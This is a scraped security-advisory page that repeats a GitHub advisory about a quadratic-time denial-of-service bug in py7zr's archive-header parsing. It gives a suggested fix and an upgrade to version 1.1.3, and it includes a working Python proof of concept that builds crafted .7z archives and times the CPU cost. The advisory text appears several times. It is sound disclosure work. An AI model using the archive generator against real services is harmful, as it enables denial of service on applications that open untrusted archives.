### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
Update py7zr to 1.1.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanpy7zr: O(n^2) algorithmic complexity DoS in PackInfo._read() affects py7zr (pip). Severity is high. ### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| py7zrpip | <=1.1.2 | 1.1.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate py7zr to 1.1.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanpy7zr: O(n^2) algorithmic complexity DoS in PackInfo._read() affects py7zr (pip). Severity is high. ### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| py7zrpip | <=1.1.2 | 1.1.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard